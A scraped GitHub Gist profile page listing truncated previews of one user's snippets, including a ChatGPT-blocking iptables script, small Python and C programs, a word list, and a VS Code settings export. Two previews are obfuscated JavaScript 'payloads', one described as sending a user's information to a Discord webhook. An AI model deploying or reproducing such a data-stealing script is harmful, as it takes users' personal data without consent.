Skip to content

Instantly share code, notes, and snippets.

View KevinAlavik's full-sized avatar
:shipit:
Checkout my website: 127.0.0.1

Kevin Alavik KevinAlavik

:shipit:
Checkout my website: 127.0.0.1
  • Sweden
  • 21:21 (UTC +01:00)
View GitHub Profile
@KevinAlavik
KevinAlavik / BlockGPT-GUI.py
Created August 1, 2024 09:17
A python program to block chatgpt on linux (this uses the iptables command to block and unblock GPT) this uses tkinter for UI
import tkinter as tk
import subprocess
import logging
logging.basicConfig(filename='/home/kevin/Kod/BlockGPT/block_gpt.log', level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')
class BlockerApp:
def __init__(self, root):
self.root = root
self.root.title("ChatGPT Blocker")
@KevinAlavik
KevinAlavik / BlockGPT.py
Created August 1, 2024 08:28
Blocks any traffics to chatgpt (only for linux) using the iptables command. This blocks traffic when running and unblocks when stoped
import os
import sys
import time
BLOCKED_DOMAIN = "chatgpt.com"
def block_traffic():
try:
os.system(f"sudo iptables -A OUTPUT -p tcp -d {BLOCKED_DOMAIN} -j REJECT")
os.system(f"sudo iptables -A OUTPUT -p udp -d {BLOCKED_DOMAIN} -j REJECT")
CC ?= gcc
CFLAGS := -Wall -Wno-newline-eof -pedantic -Werror -Wshadow -Wstrict-aliasing -Wstrict-overflow -O3
LDFLAGS :=
BIN_DIR := bin
OBJ_DIR := build
SRC_DIR := src
DESTDIR ?= /usr/local/bin
TARGET_NAME := main
@KevinAlavik
KevinAlavik / random.c
Created October 27, 2023 09:00
A Simple program to check if HIT is the same as a randomly generated number, if not it runs again
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#define MAX 100
#define MIN 0
#define HIT 1
#define ANSI_BOLD "\033[1m"
#define ANSI_RESET "\033[0m"
@KevinAlavik
KevinAlavik / calculate-lang.py
Created June 27, 2023 10:38
Simple lexer and parser for a calculator in python. You can use the same logic to create your own programming language
tokens = ["+", "-", "/", "*", "^"]
def parse(source):
characters = list(source)
final = []
for char in characters:
if char.isdigit():
final.append(float(char))
else:
@KevinAlavik
KevinAlavik / english_sorted.json
Created June 23, 2023 15:15
All of the words in the english language (sorted)
This file has been truncated, but you can view the full file.
[
"pneumonoultramicroscopicsilicovolcanoconiosis",
"dichlorodiphenyltrichloroethane",
"trinitrophenylmethylnitramine",
"cyclotrimethylenetrinitramine",
"hydroxydehydrocorticosterone",
"antidisestablishmentarianism",
"hydroxydesoxycorticosterone",
"electroencephalographically",
"microspectrophotometrically",
@KevinAlavik
KevinAlavik / useinfo_payload.js
Created June 23, 2023 08:55
This is some payload code to send all of the users info to an discord webhook, for educational pourposes only. Change the WEBHOOK_URL to begin! Its kinda obfuscated since thats how its made
const WEBHOOK_URL = "";
const _0x477e47 = _0x3e27;
(function(_0x578013, _0x1a4c44) {
const _0x2aff5e = _0x3e27,
_0x2899c5 = _0x578013();
while (!![]) {
try {
const _0x293b74 = parseInt(_0x2aff5e(0x162)) / 0x1 + -parseInt(_0x2aff5e(0x170)) / 0x2 + -parseInt(_0x2aff5e(0x181)) / 0x3 * (parseInt(_0x2aff5e(0x185)) / 0x4) + -parseInt(_0x2aff5e(0x167)) / 0x5 + -parseInt(_0x2aff5e(0x174)) / 0x6 * (-parseInt(_0x2aff5e(0x16a)) / 0x7) + parseInt(_0x2aff5e(0x183)) / 0x8 * (-parseInt(_0x2aff5e(0x17e)) / 0x9) + parseInt(_0x2aff5e(0x184)) / 0xa;
if (_0x293b74 === _0x1a4c44) {
@KevinAlavik
KevinAlavik / interactive_cli.py
Created June 23, 2023 08:31
Simple interactive cli made in python
import sys
import os
def help():
print("Available commands:")
for command in commands:
print(" - " + command)
def clear():
os.system('cls' if os.name == 'nt' else 'clear')
@KevinAlavik
KevinAlavik / payload.js
Created June 9, 2023 22:34
Annoying payload
function _0x39fc(_0x571c63,_0x147440){const _0x29bc64=_0x29bc();return _0x39fc=function(_0x39fc94,_0x4b7fcd){_0x39fc94=_0x39fc94-0x1ab;let _0xbdc15b=_0x29bc64[_0x39fc94];return _0xbdc15b;},_0x39fc(_0x571c63,_0x147440);}function _0x29bc(){const _0x44797d=['7689564BueOPm','88QaWbqT','left','2HuwQBo','1074kIUcLV','10602312nlJojb','innerText','bold','1760720zURmZz','4972070jAyYls','rgb(','random','color','2046546QoKwnf','style','createElement','1873889FOjpxX','fontSize','3icEkxs','40345axoaHv'];_0x29bc=function(){return _0x44797d;};return _0x29bc();}(function(_0x3aca4b,_0x97de79){const _0x16fbdd=_0x39fc,_0x41b70a=_0x3aca4b();while(!![]){try{const _0x94dba5=-parseInt(_0x16fbdd(0x1b7))/0x1(-parseInt(_0x16fbdd(0x1be))/0x2)+-parseInt(_0x16fbdd(0x1b9))/0x3(parseInt(_0x16fbdd(0x1bb))/0x4)+-parseInt(_0x16fbdd(0x1ba))/0x5(parseInt(_0x16fbdd(0x1ab))/0x6)+-parseInt(_0x16fbdd(0x1ac))/0x7+parseInt(_0x16fbdd(0x1af))/0x8+-parseInt(_0x16fbdd(0x1b4))/0x9+-parseInt(_0x16fbdd(0x1b0))/0xa(-parseInt(_0x16fbdd(0x1bc))/0xb);if(_0x94db
{"name":"Puffer","settings":"{\"settings\":\"{\\n \\\"workbench.colorTheme\\\": \\\"dark-blue\\\",\\n \\\"git.enableSmartCommit\\\": true,\\n \\\"git.confirmSync\\\": false,\\n \\\"editor.minimap.enabled\\\": false,\\n \\\"cSpell.userWords\\\": [\\n \\\"jailbreaking\\\",\\n \\\"reversepwn\\\"\\n ],\\n \\\"git.autofetch\\\": true,\\n \\\"security.workspace.trust.untrustedFiles\\\": \\\"open\\\",\\n \\\"explorer.confirmDelete\\\": false,\\n \\\"sshfs.configs\\\": [\\n {\\n \\\"name\\\": \\\"sideloadstore\\\",\\n \\\"host\\\": \\\"sideloadstore.me\\\",\\n \\\"username\\\": \\\"root\\\",\\n \\\"privateKeyPath\\\": \\\"/Users/kevin/ssh_key\\\",\\n \\\"label\\\": \\\"Sideload Store\\\",\\n \\\"passphrase\\\": true\\n }\\n ],\\n \\\"explorer.confirmDragAndDrop\\\": false,\\n \\\"[php]\\\": {\\n \\\"editor.defaultFormatter\\\": \\\"DEVSENSE.phptools-vscode\\\"\\n },\\n \\\"